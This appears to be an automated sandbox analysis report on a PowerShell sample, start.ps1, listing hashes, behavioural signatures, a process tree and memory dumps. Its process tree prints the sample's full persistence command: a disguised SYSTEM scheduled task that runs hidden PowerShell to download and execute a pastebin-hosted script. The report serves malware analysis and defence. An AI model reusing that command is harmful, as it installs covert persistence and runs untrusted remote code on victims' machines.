Resubmissions

20-12-2024 03:49

241220-edjqcaynaz 10

20-12-2024 03:47

241220-ecbcksymgz 10

Analysis

  • max time kernel
    96s
  • max time network
    289s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-12-2024 03:47

General

  • Target

    start.ps1

  • Size

    2KB

  • MD5

    2208ff484b710fa97536c08039a5c25c

  • SHA1

    928c408e0668dd397464901f60ecaf559e9cece3

  • SHA256

    5504e6eed79410349928af05caf3cbd4a8dc878ca68666dc348dee80dc31bc66

  • SHA512

    0fd07a3f022438e009e7c9215f8e04643cba4c5ae678cfd4c3bcd9c468cff7ef9c8018622f82deee3ddcc29d62333014a8beff08c1ebee13b0a4f3cb4fbd9c1c

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\start.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 100 /tn "\Microsoft\windows\.NET Framework\log4" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''https://pastebin.com/raw/wG9Cy8HP'''))'" /F /ru System
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4884
    • C:\Users\Admin\AppData\Local\Temp\kthmimu.exe
      "C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4824

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n24si1rv.1eq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1856-0-0x00007FFA71813000-0x00007FFA71815000-memory.dmp

    Filesize

    8KB

  • memory/1856-10-0x000002506E500000-0x000002506E522000-memory.dmp

    Filesize

    136KB

  • memory/1856-11-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1856-12-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

    Filesize

    10.8MB

  • memory/1856-16-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4824-22-0x0000021037B50000-0x0000021037B70000-memory.dmp

    Filesize

    128KB

  • memory/4824-34-0x00000210CC330000-0x00000210CC350000-memory.dmp

    Filesize

    128KB

  • memory/4824-33-0x00000210CC100000-0x00000210CC120000-memory.dmp

    Filesize

    128KB

  • memory/4824-19-0x0000021037AF0000-0x0000021037B10000-memory.dmp

    Filesize

    128KB

  • memory/4824-32-0x00000210CBED0000-0x00000210CBEF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-31-0x00000210CBCA0000-0x00000210CBCC0000-memory.dmp

    Filesize

    128KB

  • memory/4824-30-0x00000210CBA70000-0x00000210CBA90000-memory.dmp

    Filesize

    128KB

  • memory/4824-29-0x00000210CB840000-0x00000210CB860000-memory.dmp

    Filesize

    128KB

  • memory/4824-28-0x00000210CB610000-0x00000210CB630000-memory.dmp

    Filesize

    128KB

  • memory/4824-27-0x00000210CB3E0000-0x00000210CB400000-memory.dmp

    Filesize

    128KB

  • memory/4824-26-0x0000021037BD0000-0x0000021037BF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-25-0x0000021037BB0000-0x0000021037BD0000-memory.dmp

    Filesize

    128KB

  • memory/4824-24-0x0000021037B90000-0x0000021037BB0000-memory.dmp

    Filesize

    128KB

  • memory/4824-23-0x0000021037B70000-0x0000021037B90000-memory.dmp

    Filesize

    128KB

  • memory/4824-15-0x0000021037A60000-0x0000021037A80000-memory.dmp

    Filesize

    128KB

  • memory/4824-21-0x0000021037B30000-0x0000021037B50000-memory.dmp

    Filesize

    128KB

  • memory/4824-20-0x0000021037AD0000-0x0000021037AF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-18-0x0000021037AB0000-0x0000021037AD0000-memory.dmp

    Filesize

    128KB

  • memory/4824-49-0x00000210CC100000-0x00000210CC120000-memory.dmp

    Filesize

    128KB

  • memory/4824-48-0x00000210CBED0000-0x00000210CBEF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-47-0x00000210CBCA0000-0x00000210CBCC0000-memory.dmp

    Filesize

    128KB

  • memory/4824-46-0x00000210CBA70000-0x00000210CBA90000-memory.dmp

    Filesize

    128KB

  • memory/4824-45-0x00000210CB840000-0x00000210CB860000-memory.dmp

    Filesize

    128KB

  • memory/4824-44-0x00000210CB610000-0x00000210CB630000-memory.dmp

    Filesize

    128KB

  • memory/4824-43-0x00000210CB3E0000-0x00000210CB400000-memory.dmp

    Filesize

    128KB

  • memory/4824-42-0x0000021037BD0000-0x0000021037BF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-41-0x0000021037BB0000-0x0000021037BD0000-memory.dmp

    Filesize

    128KB

  • memory/4824-40-0x0000021037B90000-0x0000021037BB0000-memory.dmp

    Filesize

    128KB

  • memory/4824-39-0x0000021037B70000-0x0000021037B90000-memory.dmp

    Filesize

    128KB

  • memory/4824-38-0x0000021037B50000-0x0000021037B70000-memory.dmp

    Filesize

    128KB

  • memory/4824-37-0x0000021037B30000-0x0000021037B50000-memory.dmp

    Filesize

    128KB

  • memory/4824-36-0x0000021037AD0000-0x0000021037AF0000-memory.dmp

    Filesize

    128KB

  • memory/4824-35-0x0000021037AF0000-0x0000021037B10000-memory.dmp

    Filesize

    128KB

  • memory/4824-50-0x00000210CC330000-0x00000210CC350000-memory.dmp

    Filesize

    128KB